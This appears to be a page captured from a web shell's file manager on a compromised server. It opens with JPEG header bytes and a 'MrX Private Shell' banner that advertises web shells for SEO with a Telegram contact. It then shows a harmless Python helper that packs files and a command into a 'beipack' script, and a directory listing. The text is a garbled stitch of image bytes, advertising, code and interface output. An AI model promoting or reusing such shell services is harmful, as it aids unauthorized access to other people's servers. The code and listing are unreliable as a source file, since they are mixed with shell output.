����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""Helper to create a beipack to spawn a command with files in a tmpdir"""
import argparse
import os
import sys
from . import pack, tmpfs
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument('--file', '-f', action='append')
parser.add_argument('command', nargs='+', help='The command to execute')
args = parser.parse_args()
contents = {
'_beitmpfs.py': tmpfs.__spec__.loader.get_data(tmpfs.__spec__.origin)
}
if args.file is not None:
files = args.file
else:
file = args.command[-1]
files = [file]
args.command[-1] = './' + os.path.basename(file)
for filename in files:
with open(filename, 'rb') as file:
basename = os.path.basename(filename)
contents[f'tmpfs/{basename}'] = file.read()
script = pack.pack(contents, '_beitmpfs:main', '*' + repr(args.command))
sys.stdout.write(script)
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| data | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| beiboot.py | File | 5.04 KB | 0644 |
|
| beipack.py | File | 7.2 KB | 0644 |
|
| bootloader.py | File | 3.48 KB | 0644 |
|
| spawn.py | File | 971 B | 0644 |
|
| tmpfs.py | File | 563 B | 0644 |
|